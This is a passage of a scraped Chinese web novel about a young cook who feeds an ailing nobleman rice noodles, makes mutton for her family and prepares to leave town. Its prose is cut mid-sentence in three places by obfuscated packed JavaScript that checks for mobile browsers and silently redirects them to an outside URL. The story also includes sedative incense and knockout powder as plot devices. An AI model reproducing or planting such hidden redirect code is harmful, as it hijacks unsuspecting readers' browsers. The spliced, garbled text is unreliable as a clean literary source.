他烦躁的掀起眼皮看了一眼桌面，看着花红柳绿，却没半点热气，这些人越发糊弄人了，弄了几盘子冷菜来搪塞他，知道他恶心吃不下，所以干脆不装了么。 他恼怒把手中的长枪哐当丢过去，精铁和青砖激烈的碰撞，迸出璀璨的火花：“滚出去，别来烦我！” 对面四人，三人吓得屁滚尿流，躲在门外张望，只剩一人，抖着手，点了熏香，而后净手后，高高捧着一双筷子躬身道：“贵人息怒，今日做的米线，需您自己动手煮制，草民伺候您用餐，请您移步入席！” 听到自己动手煮制，他愣了一下，桌上没有火炉，如何煮，用他的怒火吗？ 许是转移了注意了，他感觉头疼的症状轻了一些，些微恢复了些耐心。 眼睛顺着梭视到桌面上，一锅平静的乳白浓汤，一桌面五颜六色的小碟子，有一碟，竟然是黄色的菊花瓣，不屑嗤笑，这些南理人真有意思，没肉吃了么，竟然吃花瓣！ 疑，还在碟子中微微跳动的，是生牛肉？他怀疑自己看错了，恍恍惚惚，起身飘到桌子前细看，还真是生肉，新鲜的生牛肉！ 姜宁已经把椅子摆好，他好似三魂七魄出了窍，怔怔的顺着她的手势坐了下来。 姜宁松了口气，还是太紧张，刚才从系统里倒换熏香的时候，手抖得差点露馅。 她不动声色用肢体语言，引着因药效发作，脑子变得迟钝的贵人，在桌子面前坐好。 她立马用汤勺在砂锅汤里搅拌了一下，极致的鲜香立刻从汤缝里漏了出来，像个小虫子，从宴时璟的鼻子钻了进去，引得他不由自主咽了下口水。 到嘴的质问：“你算哪根葱，让我坐，我便要坐！”打个滚变成：“这个，怎么煮？” 姜宁往后避了避，躬身禀告提醒：“贵人小心，这个汤烫极了，能把所有菜煮熟，您喜欢什么，放在锅里煮即可！” 其实她是避开熏香，低头的时候，顺便悄悄塞了两团棉球到鼻子里。 好霸道的熏香，她感觉自己脑子开始昏昏沉沉的！ 坐在主桌前的宴时璟听到了最新指令，放最喜欢的菜到锅里。 他伸出长臂，端起牛肉片，倒在了锅里。 红色的牛肉滑入汤汁中，消失不见。他拿起筷子去捞，适才鲜红的肉片，一下子变成了冒着热气的淡粉色。 他喉结滑动，咽了下口水，夹着肉片凑到嘴巴前。 好烫好烫，鲜嫩多汁，肉片带着牛肉特有的嚼劲，却又汁水横流，每嚼一下，便冒出些汁水，咸香鲜甜，滋润着他久旱的肠胃。 这次肠胃没有发出不适的筋挛，汁水冲过，好似被春雨滋润的野草，肆意的舒展，他也因此舒服的打了个哆嗦。 他几乎喜极而泣，终于，他能正常吃饭了。 他一股脑把桌上的肉片都倒入砂锅中，想了想，把剩余的蔬菜，也倒入锅里，感觉不够，把远处的一碗雪白的丝丝长条也添入锅中。 搅拌了下，尝了一口汤，除了适才的咸香鲜甜，还多了各种食材特有的香气，鲜甜可口，让人又烫又爽，他拿起筷子斯哈斯哈，夹起什么吃什么。 脆脆的豆芽菜，清香的绿韭菜，软糯的黄豆腐皮，水嫩的白乌鱼片，特有香气的金菊花瓣，每一样他都爱诶，最让人欢喜的，还是雪白长条，到了嘴里，滑爽弹韧有嚼劲，真是畅快。 他吃完放下筷子，站起身，眯眼舒服的打了个嗝。 大掌在姜宁肩膀上拍了下：“小厨子，做的不错，以后跟着小爷混，跟着爷骑最快的马，武最微风的枪！” 姜宁捧上琉璃杯中奶茶，恭迎道：“爷，餐后口干，喝口茶润润嗓子！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079879|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宴时璟接过奶茶，灌了一口，立马被这种滑腻香醇又带着微微的苦涩味道吸引，示意：“以后，每日弄一杯这种茶来！” 他指示新收的小厨子：“去，把爷的枪扛着，我们去校场，爷这就教你这世间最精妙的枪法！” 姜宁去搬那把精铁长枪，两只手用足了十成力气，才离开地面一点点，她认命的丢了长枪，苦着脸可怜兮兮：“小的未吃夕食没有力气，不如您先在榻上闭目养会神，小的吃饱了肚子来寻你，您再教我！” 吃饱喝足头不晕不疼的宴时璟，脑子懵成一砣浆糊，很好说话，嫌弃的看了她一眼：“赶紧去，赶紧去！” 小厨子什么都好，就是力气太小！ 他走过去，脚尖轻轻一挑，长枪被挑起来，右手接住。 拎着枪走到大椅上，打了个哈欠，抱着长枪靠在椅子上，闭目养神，不一会，便听到他绵长的呼吸声。 真是个乖宝宝，那么大一个大个头，竟然不打呼。 姜宁瞄了眼桌上的熏香，已经化成了灰烬，她用手掌轻轻一览，把那点灰烬扫在残汤中，消失无影无踪。 她招呼门外窥探的众人，进来一起轻手轻脚收拾干净桌椅，悄悄退了出去。 远远离了那间房，大家面上涌起劫后重生的笑。 姜宁对着高培元作揖拱手：“幸不辱命，贵人终于顺利吃了米线。”没有恶心呕吐。 “他还喝了红景天调制的奶茶，能安神养眠，缓解他头痛头晕恶心症状有奇效。由于贵人身体较常人强健，需要连续服用一个月，慢慢调理身体功能。 往后几日，饮食尽量清淡，切忌大鱼大肉，今日这个过桥米线就很合适，滋补鲜甜不油腻。” 高培元适才一直在门外，亲眼看见贵人将那么大一盆汤汤水水的菜吃下肚，然后坐在椅子假寐，现在亲耳听到她的话，一直来悬挂的心落在了肚子里。 他要去禀告伯父，还要请大夫再来会诊。 回到厨房，姜宁洗干净碗筷，找高培元告辞：“阿娘受伤还在家里，我实在不放心。” 高培元殷殷嘱咐她明日一定要过来。 扫视了厨房里琳琅满目的食材，顺手提了半只羊身塞给她：“今日多亏你，辛苦小哥，你早些回去团聚，明日我让人去接你，你千万要来支应几天。 你母亲的事，我会打发人料理清楚，令慈只管好好在家养伤。” 说着，招呼个门子，驾车送他回去。 车走到半道，适才共事的大厨，带着他的三个帮厨徒弟叫住她，眼里含着感激：“今日多亏你，我们性命算是无碍了。 大恩不言谢，我们没有什么回报你的，这包是往日我积攒的调料，你莫要嫌弃，带回去调个味道！” 姜宁原本为捞母亲而来，现在完美完成了任务，还得了半只羊，又得了几个同行的认可，心里甚是欣慰。 她盯着新鲜的半个羊身，不住的咽口水，这一步走对了，中秋节没吃到心心念念的抗浪鱼，放开肚怀炫羊肉串也很过瘾哈。 36. 第 36 章 还未进巷子，便瞧见苏慎探头探脑，看见辆马车，疯一般跑进门，等她到了门口，姜氏扶着他一瘸一拐奔出门，拉着她上上下下打量了两遍，没发现异常才算舒了口气，嘴里连道：“可算回来了，担心死我们了！” “走走，回家吃饭，我们已做好饭菜等你回来。” 她热情的邀请送人回来的门子：“隋师傅，又麻烦你走一遭，快，快进屋将就吃些！” 送人回来的是门子隋师傅，早先从木牢里接她回家，姜氏甚是感激。 隋师傅婉拒：“不客气，应该的哈，我还要回去复命呢。” 他看着这一家子，伤的伤，小的小，弱的弱，顺手帮忙把车里半挂羊提到了厨房。 姜氏苦留不住，把家里做的三个竹筒月饼，留着自家过节应景的，塞到了他怀里：“莫要嫌弃，自家做的，真材实料。” 隋师傅没有再推拒，抱着竹筒驾车回外使馆复命，听说危机已经解除，厨房里正在炖鸡熬鸭，上头要犒劳全馆。 送走师傅，娘几人聚在厨房里，姜氏追问，姜宁恐她挂心，轻描淡写：“也是我们运道不好，胡光骏成了衙门里的录事，想在上峰面前露脸，正好我们摆摊撞到他手里，可不就被他小题大做了么。 高夫子衙门里熟人多，帮忙斡旋一二，我们没事了。 恰好他需要个厨子做饭，我去支应一两天，些微还掉些救命之情。” 几人痛骂一番姓胡的卑鄙小人，对杜高两人仗义之举赞不绝口。 姜宁要帮她上药，姜氏按住她：“不用，回来的时候，隋师傅已经带我去医馆，里头的女工帮忙处理过了。” 她拉着姜宁入座：“包子是卖剩下的，我看了，没有问题，能吃，外头商铺都关了门，我让阿慎拔了韦婆婆地里的菜蔬，我煮了萝卜，炒了菘菜，炖了南瓜，我们将就吃一顿，明日大家开门营业，再买些菜回来，重新弄顿好的。” 姜宁指了指厨房里的宰好的羊：“你看，高夫子，满意我菜做的好，送我半只羊，必须好好吃一顿，庆祝我们全身而退。” 还有半句，她没说：吃饱喝足，想个招，对付姓胡的，找补回来！ 苏慎激动在一边咽口水：“吃羊肉咯，吃羊肉咯！” 苏家平时舍不得吃羊肉，过年过节割半斤，炖好了他能分到一碗汤，一片肉，味道没尝出来，便没了。 姜氏看着羊肉，艰难吞了下口水，恋恋不舍：“好贵的，四百文一公斤，这半只带皮的羊，估摸着十公斤出头，运到菜市场，怎么都能卖四贯吧！” 姜宁诧异看了姜氏一眼，舍得吃喝的姜氏，什么时候变得和阿奶一样抠门？ 姜氏白她一眼：“我想着，这么多，我们几个人，吃不完，天气热，放不住的，坏了更心疼，不如分一些出去卖，换些铜钱。” 姜宁无情的泼冷水：“现在街上都没人，卖给谁啊！没有冰库，这羊肉放到明天坏掉了，做出来，给几家亲朋送去，若剩的多，我熏干了，我们路上作干粮，不浪费。” 姜氏屁股疼得厉害，不愿去歇着，姜宁安排趴在板凳上烧火，苏慎当小工，她开始料理起来。 准备做羊肉串的，发现个重要的问题，家里没有竹签！ 姜宁一拍脑袋，改做羊肉粒。 菜刀在磨刀石上划锋利，洗干净后把羊骨头捋下来泡在清水里去腥，过后熬汤。 选羊里脊肉和后腿肉，三分肥七分瘦的最好，切成拇指宽大小的正方形粒，撒入半勺小苏打粉，切入一颗洋葱，细盐，姜丝，抓匀。 羊肉里不放水，她抓着感觉有些干，又切了个洋葱头，半个西红柿，和在里头抓匀后盖口腌制。 她掏出怀里的料包，里头有茴香粒，胡椒粒，花椒粒，芥菜籽，白芷片，桂皮，香叶，八角，草果，山奈小纸袋，堪称调料十全大礼包。 啧，外使馆的大厨是真心送她东西啊。 这些都是调味的好东西，只有内城最大的高家杂货铺有，价格么，很感人就是，反正她舍不得买。 换她扣扣搜搜从小袋中，数出十颗胡椒粒，三十颗茴香籽，珍重交给苏慎：“去，把它们用小石舂捣碎。” 烧火的姜氏，招呼苏慎过去让她舂，这事她擅长。 胡椒舂好后，撒入羊肉粒中去腥。 姜宁提着羊肉手掂了一下，用掉了一半羊肉，剩下约莫四公斤肉，还有一盆骨头。 骨头冲洗两次，敲入几块黄姜，丢三片白芷，姜宁想了想，又砍了一块前腿肉，放进去，冷水入锅，大火沸腾，汤汁变得乳白后，换到陶锅里，放在小茶炉上文火满炖，明日去外使馆的早食，有了着落。 剩下的羊肉，她切成长条，均匀细致抹上一层粗盐，紧紧堆放在木盆里，寻了个簸箕盖好堆在在后院屋檐下，等明日血水侵泡出来，便可以悬挂风干，长时间保存。 等她忙完，羊肉粒腌制得差不多了，用手一捏，羊肉便化开。 锅里烧油，烧至八成热，倒入羊肉粒炸熟，变色后立即捞出，加大火力，重新烧热油锅，丢一把薄荷叶进锅，快速把薄荷叶炸酥脆后捞出，铺在碗底，然后放入羊肉粒大火复炸，羊肉油脂滋滋冒油后捞出，撒入研细的茴香粒，辣椒粉，白芝麻，拌匀后倒在薄荷叶上，茴香羊肉粒便好做了。 小茶炉陶锅里的汤咕噜咕噜涨着，散发一股羊肉特有的膻香。 姜宁总共做了四陶碗羊肉粒，提了个篮子，放了三碗进去：“我去给陈婆婆家送一份，你们先吃，不用管我！” 她匆匆跑了，先去陈婆婆家送了一碗，又去西云书院，送了一碗给杜夫子，而后绕路到周家，敲门唤出阿姐，塞给她便走了。 也是凑巧，出了巷子，遇到胡光骏驾着马车人模狗样的回来。 胡光骏看到她，心虚左右张望了一眼，发现路上没人，马车停到她面前：“哟，这么快就急着来找我了，是不是想我了？” “今儿不行，今儿爷要和爷娘一起过节，明日，你乖乖回去，明日爷，一定满足你！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082782|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜宁见到他，恨得牙痒痒，恨不得上去挠他几爪子。听了这话，愕了一下，这厮不晓得她娘已经被她捞出来了。 眼珠转了一圈，装作委屈模样，盈盈望着他：“别人都有洞房花烛，就我，没有，我，我不甘心。” 转而道：“既然你必定要如此，才肯帮忙救我娘，我同意你就是，你以后，千万说话作数，好好待我，明晚小树林，我们不见不散！” 说完转身便走。 她怕再多看他一眼，恶心的吐出来，忍不住上去踹他。 回到家，天已经黑了，天空万里无云，皓月当空，姜氏和苏慎坐在桌前等着。 姜宁诧异了一下：“不是让你们先吃么，都凉了。”心里热乎乎的，顺嘴解释：“陈婆婆和杜夫子帮了大忙，我送了一碗去给他们。” “巧儿还没吃过我做的羊肉粒呢，顺路送了一碗去周家。” 姜氏撇撇嘴：“就我们几个人，还分几次吃，烦。” “是该多谢陈婆婆一家和夫子。恐夫子瞧不上我们粗鄙，不然倒可以邀他和我们一起过节，免得他一人在书院，孤孤单单的。 那会应该把你姐母女叫回来，送过去，让韦婆子吃一顿，白瞎了辛辛苦苦做出的羊肉。” 她气不顺使唤苏慎：“快给你姐盛碗热汤去，没点眼力见。” 姜氏把羊肉粒陶碗推到她面前：“跑累了吧，快尝尝，我让苏慎放在锅里热着，才端出来。” 姜宁笑道：“不累，我们一起吃。”她拿起汤勺，一人舀了一大勺，分到三人碗里。 每人两个碗，一碗是乳白的羊骨汤，汤面上撒入几颗葱花，喝一口滚烫浓香白汤，再嚼一粒滋滋冒油的羊肉粒，看一眼窗外的挥洒光辉的银月亮，这日子，太有滋味了！ 冯家已经吃过晚饭，坐在院子里围着桌子点灯看月亮，门被敲响，陈婆婆满面春风，捧着一个陶碗笑眯眯回来，霸道的香味从陶碗里，不住往人鼻孔里钻。 灯火下，陶盘里，翠绿的薄荷叶子上，羊肉粒表面浮着一层油光，看着润润的，金红的肉块，晶莹剔透的油脂，均匀裹着大大小小的焦红辣椒碎，灰绿色的香料，上头点缀无数的芝麻粒，赏心悦目极了。 小胖忍不住，伸手便抓了一颗塞到嘴里，吃的嘴角冒油，被辣的鼻涕横流哇哇大哭，也舍不得吐掉，一面哭，一面嚼。 大胖有样学样，他手已经伸到嘴边，恍然记起长辈的教导，把肉块放在自己碗里，利索在裤子上擦了把手，改用筷子，顺序夹了分在长辈碗里。 然后才抓起自己的吃，满足摇头晃脑：“香，真香！外酥里嫩，肥美油润，还有一种特殊的香味，着实霸道鲜美！” 同样是羊肉，家里晚饭的时候也做了，是阿娘做的清炖羊排，味道么，自然是好的。只不过油腻腻腥膻膻，不符合他的口味。 姜家哥哥真懂他的心，知道他晚饭没吃饱，特意做了送来给他当宵夜。 他发誓，以后姜家哥哥就是他异父异母的亲兄弟。 37. 第 37 章 姜家过了个迟到的中秋节，大家敞开了怀，饱饱吃了顿外焦里嫩的羊肉粒。 次日一早，隋师傅驾着马车，来接姜宁。 姜宁连锅带汤，把熬了一夜的羊骨汤端上，带着上了车。 到了外使馆，大厨和三个帮厨已经迎到厨房门口，帮着接过陶锅，大厨揭开锅盖，浓白的汤汁，散发出浓郁的香味。 熬得一手好靓汤。 姜宁和他商量：“大厨，我们今日继续做米线吧，这个清淡滑腻好克化，适合贵人现在的身子。” 大厨用勺子添了半碗汤，端着细细品尝了一回：汤水浓白清亮，没有半点膻味，全是羊肉的清香。 听到她的话，连忙把让让到上座道：“可不敢在您面前称大厨，我叫薛地生，您以后叫我大薛就是，这是我三个徒弟，薛菜刀，薛锅铲，还有薛砧板。 有什么要做的，你只管吩咐。” 一旁的菜刀递上了早就熬好的红枣粥：“我们一早熬的粥，您坐着慢慢喝，做什么事尽管使唤我们。” 姜宁挑挑眉，这三人比昨日殷勤客气多了。 昨日只是把她当合伙做事的搭档，客气疏离，今日，好似多了些感激亲近之情？ 姜宁喝了人家的红枣粥，甜丝丝的，化嚷嚷的，肠胃里舒服热乎，嘴角噙着笑打趣：“薛大厨，今日捡了钱么，这么开心？” 薛地生笑道：“可不是捡了钱么！昨日你走后，贵人夜间醒了一回喊饿，按昨日你的法子，煮了一锅米线送去，贵人又吃完了，请了大夫诊脉，脉象平和，上头主事高兴，说馆里的人，月底全部赏一成工钱。” “眼看这贵人能吃能喝，大家能拿赏钱，可不高兴么！” 他有些惋惜：“可惜你户籍没在我们馆里，没得这份赏。” 姜宁笑道：“你忘了，昨日高夫子，给了我半只羊肉，老好吃了，我昨晚熬了羊汤，今日带回来，给贵人换换口味。” 薛大厨面上涨红，吞吞吐吐：“姜大厨，我，我有个不情之请，您看，您熬羊汤的手艺，可以教我么，我熬的羊汤，总是有一股腥膻味，你放心，我不白要你教，我出学费，您看，一贯钱，可以吗？” 姜宁摆手：“薛哥，不要你钱。这简单，你把羊骨用清水浸泡两个时辰后，先武火一刻钟后，转文火熬煮试试？” 薛地生一脸不可置信，就这么简单？ 姜宁解释：“就这么简单，你试一次就知道了。”他们说着话，上头来问早食。 在她来之前，薛地生带着三个徒弟，做好了一盆米线泡在冷水里。 姜宁起身，寻了个小锅，烧半锅羊汤，沸滚的时候，放入一碗米线煮熟，适量细盐，胡椒粉，花椒粉，孜然粉，装入大汤碗中，然后捞起熬煮好的羊肉块，切得薄薄的能透光，铺在上面。 另外准备了一碟子带着露水的碧绿薄荷，一碟新鲜嫩绿的香菜，一碟切好的小香葱，一碟炸的焦红的辣椒脆，一跌鲜红的小米辣碎，一碟脆生生的泡红萝卜丁，一碟剁得细细的蒜蓉，一碟金黄的酥肉片，一碟子薄脆……。 薛大厨端了最沉的米线，三个帮厨一人端了个小托盘摆着小碟子，姜宁端了红景天奶茶，送了上去。 今日，贵人已经坐好桌前等候。 面上温和了许多，没有蹙眉烦躁不安，多了些困倦，感觉昨夜没睡觉一样。 看见几人进门，摆了一桌子的小菜，示意他们退下，自己动手，伸出长手捞起小碟子，把喜欢的菜蔬都加了进去。 先舀了一勺汤，乳白的羊肉汤清亮明晃，带着山羊特有的膻味，香而不腥，鲜甜回甘，好棒的手艺。 然后嗦了一筷子米线，弹韧有嚼劲，又软硬合口，惬意得很。 间或吃一口焦红的辣椒酥，香脆不辣，酸甜清脆的泡萝卜，入口即化的酥肉片，啧，吃个羊肉，竟然弄出这么多的配菜，让人眼花缭乱。 吃完米线，喝完羊汤，他端起奶茶一饮而尽，口腔里被微微的苦涩滑腻充满，实在满足。 他招手示意门口等候的几个人进门收拾了桌子，留了姜宁说话：“走吧，吃饱喝足，小爷教你耍枪去！” 姜宁推脱，苦着脸告假：“禀贵人，我娘生了病，下不了床走路，我得在家伺疾，我能过些天再请您教导吗？” 人家要伺候照顾生病的母亲，确实不好耽搁，吃饱喝足的宴时璟很好说话，脑子因香的缘故，没有平时灵光。 睁着眼看他：“那行，等你母亲好了，你记得早些来寻我。” 姜宁对着那双认真的双瞳眼，心下打了个激灵，有一种若她失约，对方会把她从茫茫人海里扒出来弄死的错觉。 她立马睁大双眼，满脸诚恳挤出一抹笑：“您肯教小的学枪，是小的福气，多谢您。等我娘好了，我立马来寻你。” 他不怕他的眼睛，没有嫌弃没有恐惧，还很真诚的对他笑。 这个小厨子太对他的胃口了。 宴时璟被哄好了，满心欢喜摆手：“行吧，行吧，赶快去，我等你。” 他目送人走了，打了个哈欠回自家大椅上扶着长枪，坐着打盹。他本不想睡觉的，可是实在困得睁不开眼，不平躺在床上是他最后的倔强。 姜宁出来后寻到高夫子请辞：“贵人饮食恢复正常，我也该走了，家里长辈还盼着呢。” 又交代：“贵人饮食清淡为主，切莫大油大荤，每日一次，吃上一个月的红景天奶茶，差不多恢复痊愈了。” 高夫子已得了大夫的回禀，知道她所述不假。 不好再留，再三感谢后，预祝她们一路顺利。 虽说他已经帮着捞出姜氏，但人家确实帮他解了难，挽救了他伯父和他的职业生涯，再怎么感谢也不为过。 给钱不合适，他干脆从账上划了三匹上好的绢布，送给他：“这些布料长久放着不会坏，你留着自己做衣裳，或者送人，都是极体面的。” 姜宁又去厨房，收拾自己的陶锅。 徐大厨对她依依不舍，好似要和母鸡分别的小鸡，鼻子眼睛挤在一起，几乎没哭出来。 “你走了，贵人吃腻了米线，怎么办？” 姜宁出主意：“哪有吃腻的米线，羊肉，牛肉，猪肉，鱼肉，鳝鱼，螺丝，臭豆腐，……你们换着给他做呗。” 才处了两日，姜兄弟便对他们倾囊相授，不仅把做米线的方法教了他们，好教他们如何熬汤，这些都是厨子安身立命的本钱。 他依依不舍再三撺掇：“就凭您的手艺，迟早做大做强，以后开个大酒楼，一定要叫我，我带着三个徒儿，来给您打下手！” 姜宁失笑：“薛大哥，您太能想了，我如今摆个小摊子糊口呢，当然，借您吉言，若真有那一日，我请你来帮忙镇场，你可千万别推脱。” 回到家，开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17086385|193739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始收拾东西，大车店那边通知凌晨寅正（四点）准时在东门口集中出发。 姜氏订了两个位置200文，人头费600文，已经付掉了，不可再退。 明日一早肯定要走的。 姜氏看着姜宁打包行李发呆，连上她们的铺盖衣裳，粮食锅具炉子，小山一般，若她没受伤，搭在肩头上就走了，如今她受了伤，自己走路成问题，如何带这么多行李，若是不带，路上她们也没地歇息，没锅做饭，回到老家也没铺盖睡觉。 姜宁笑着晃了晃手中钱袋：“我们现在有17贯，不用省那百八十文的，到了大车店，和车把式说说，我们补一个座位，您和我们一起坐车，多交点钱，行李也让大车店帮我们一起托着，省事省力。” 姜氏点头一想同意，打发她出去医馆，买些肚疼脑热药的备着，以防路上出差错。 等她回来，苏悦带着巧儿过来了，她塞给姜氏一贯钱道：“阿娘，这钱你们带着路上使。” 姜宁诧异：“你只领了自己工钱，借你我们的工钱，你也不要，你不打算开铺子了么？” 苏悦解释：“开的，我昨日在周家闹了一场，周鑫站在我这边，逼着老婆子开钱取钱。” 她幸灾乐祸说起昨日的事。 原来昨日过节，她回去要钱，韦婆子自是不给的，周鑫冷眼旁观不吭声，任由两人你来我往的闹，苏悦心凉到脚底板，幽幽道：“婆母那个钱箱你也没看过，你知道有多少钱么，谁知道，会不会被她拿去补贴韦家？” “我带回娘家几个便宜糕点，阿娘送回一篮子鸡蛋，你看看婆母，每次送去舅舅家，都是大包小包的细粮，他们回什么，要么是变酸的米糕，要么是做坏了的点心。 也就你还傻子一样，舅舅家一缺粮做点心，你就急巴巴成本价送去，倒底是成本价，还是白送，你算清楚账了么？” 苏悦从不撺掇男人，想着一家人，没必要。 只是，她现在改了心意，她得护着巧儿，为巧儿去争，巧儿是周鑫的独生女，周家的产业，合该是巧儿的。 周鑫听完，面色不好，要韦婆子开钱箱对账。 韦婆子不肯交出脖子上的钥匙，还说，没有的事，舅舅把他当亲儿子待，只是现在手里紧吧，俭省了些，以后好了，肯定大羊肥鹅送来给他吃。 正闹着，姜宁送了一碗羊肉粒，周鑫一对比，恼恨舅舅家没分寸。 他听韦婆子的话，一大早割了两斤上好的羊肉，送了一半去，得了舅舅一盘酸米糕带回来，对比岳母家，日子更紧吧，人家得了好吃的羊肉，急忙做了送来，不像舅舅家，把他们当冤大头，心里哇凉哇凉的。 看韦婆子不肯交出要是，恼了，一斧头劈开锁点钱，存了两百贯整，和账本上差了整整三十贯。 他火了，逼问三十贯的亏空，韦婆子才道，这半年韦家来拉粮做点心，一直赊账，每次周鑫询问，她都说给了。 周鑫留了五十贯做粮铺的本钱，剩下一百五十贯，寻摸着去西云书院买房，说是能自己做生意最好，若败了，租出去，免得全部便宜了韦家。 苏悦舒心的笑道：“所以，我不租房了，打算直接买房，我和周鑫说好了，户籍办成他的！” 其实她想办成巧儿的，周鑫肯定不同意，以退为进，还说卖包子赚了钱，也给他买个马车，周鑫感动，说要把户籍办成周鑫和她两个人的。 38. 第38章 姜氏暼一眼大女儿，想不到实心眼的大女儿，长进了，学了空手套白狼的本事。 她点点头：“一家子人，不应该计较那么多，可是你那个婆婆作妖，是该防着些。 这些年你们夫妻搬粮运粮，起早贪黑辛苦，赚的血汗钱，留着给巧儿，天经地义。 你不过来，我还要叫你妹过去寻你，这些蒸笼还能用，你带回去，不用重新置办。” 苏悦不愿意：“你们带过去，外婆家什么光景认不得，带着过去，重新把破酥包生意做起来。” 姜氏指了指成堆的行李：“蒸笼占地方，我们带着不方便，路上难免磕磕碰碰的，别磕坏了，你带回去吧，免得你妹又跑一趟。” 苏悦听罢道好。 正说着，陈婆婆敲门进来，语气里都是惋惜：“听说你们要回老家去，以后尝不到你家的手艺，实在可惜。 我给你们准备了张油布，是家里盖布料的，挂了个洞，不能遮布料，我缝补好了，你们路上遮风挡雨，避开那个洞就是，千万不要嫌弃。” 她是个有分寸的，不过带着姜宁走了几步路，哪里值送一碗炮制好的羊肉粒，那么一大碗，生肉得小一公斤。 味道酥香可口，外焦里嫩，她吃着比内城大酒楼吃过的还香，至少大几百文。因姜家才从她那买了布料，应该暂时不缺，干脆取了块油布来。 油布是以麻布为底，刷桐油后阴干，如此三遍，费工费料，价格高昂，一匹油布要一贯左右，破了洞的油布她们家用不了，漏一点雨水，运送的布料便废了，给姜氏路上遮挡行李正好避雨，不用的时候收起来，不占位置，到了地方，还能搭个棚子，养鸡养鸭，都方便。 油布好啊，下雨时盖在行李上，荒郊野外的有地方躲雨，姜宁完全没考虑到。 姜氏是嫌油布价贵，觉得不一定会下雨，不舍得花这儿冤枉钱，姜宁是没坐过大车，稀里糊涂的。苏慎更不懂出门远行的讲究。 一家人再次诚恳感谢陈婆婆，热情的送她出门。 姜氏感叹：“世人都道家有一老，如有一宝，我一直持怀疑态度，你奶，你姐家婆婆，这样的，就差把家搅散了，怎么还是宝呢。 原来还有你陈婆婆这样明事理，见多识广的婆婆，和他们家做亲家，真幸福。” 姜氏意有所指看了女儿一眼，暗搓搓提醒女儿。 姜宁忙着收行李，根本没听见。 东西归拢得差不多，姜宁最后去院子里揭开簸箕，查看抹了粗盐腌制的羊肉。 她疑惑了下，记得排骨明明码放整齐，现在跑了一支到盆沿，也许是姜氏来翻过吧。 姜宁伸手按了按，经过一夜的泡发，羊肉里的血水已经被泡出来，只要悬挂风干，放个一两年不成问题。 她没时间悬挂阴干，若是挂在车架上，不晓得要吸引多少扎眼的目光。 因赶着出发，她便在后院架起一堆火，围城一围，捡了柴火里的柏树枝点燃，把肉放在上头熏。 不过两个时辰，肉表面的水分就被熏干，不再滴滴答答淋血水，热气混合着烟气，在肉表面形成一层油晶晶的黑油壳，保护里头的肉，不会变坏，能放一两个月。 她寻了些油纸，一条肉一张纸，裹好收在行里中，留了一条，提着去正房找魏婆婆。 姜宁笑盈盈道谢：“婆婆，这些日子多亏你收留，厨房，后面的屋子，院子，我都收拾好了，你去看一眼。还剩些柴火，我们带了点路上做饭，其他你留着做饭。” 魏婆婆今早才从亲戚家回来，和小板栗补觉，听到她来告别，要请她验房，也不去看，只拉着她的手不放：“你娘伤了腿，我以为你们还要养几日，这样出门，哎。” 接了她送来的羊肉，得小一公斤。 想了想，她咬了下后槽牙，关紧门窗，转身从柜子最里头翻出一包黄纸包，塞到姜宁手里：“我儿子日日在外头奔波，不时遇到些宵小，为了保命，野路子弄来的蒙汗药。” “要是遇到麻烦，把这个兑在水里，让人喝下，一个成年大汉，只要一勺子就能睡个三两天，你们趁机赶紧跑。 若是放酒里，效果更好。” 姜宁眼前一亮，舔了下嘴唇，她去药店问过，人家都说没有，想不到老实巴交的魏婆婆家，竟有这种法外之物。 伸手欲拿，而后又缩回手拒绝。 魏婆婆儿子常年在外奔波，一老一小在家，没个男人支撑门户，这肯定是他费尽心力弄来给魏婆婆防身用的。 魏婆婆强势让她接着：“没事，我儿子本来中秋节要回来，后来捎信需再过十多日，肯定是被事情缠住了，他回来时，我让他再弄点回来，你们带着吧，用不到最好！” 因明日出发时辰太早，恐寻不到车夫，他们今晚便寻了个力夫，带着他们打包好的行李到城门外的大车店里，将就一夜。 大车店就在东城门外，天已经黑了，到处灯火通明，人声鼎沸，黄土飞扬，去往各处的大板车队有序排放在黄泥车场，车把势清点人数，招呼旅客出发的声音，此起彼落，井然有序。 姜氏杵着棍，挪动步子，姜宁在卖票房廊下寻了块空地，安置好行李，一拍脑袋：“哎呀，忘记买防虫蚁的药了，苏慎，你不可离娘三步远，在这里等着我，我去几家药铺再找找。” 不等姜氏答应，闪身混入人群，转眼不见。 姜宁顺着东门走了半里路，果然看见一片小树林，在朦胧的月光下，黑漆漆的，好似蛰伏着一个巨大的怪兽。 她弯腰从地面抓起一把细灰，打算一有不对，扬了灰，撒腿就跑。 深吸口气，四处打量，缓慢靠近小树林。 远远的，便看见小树林前立着辆马车，等得不耐烦的胡光骏，从马车上站起来，兴奋喊：“阿宁？” 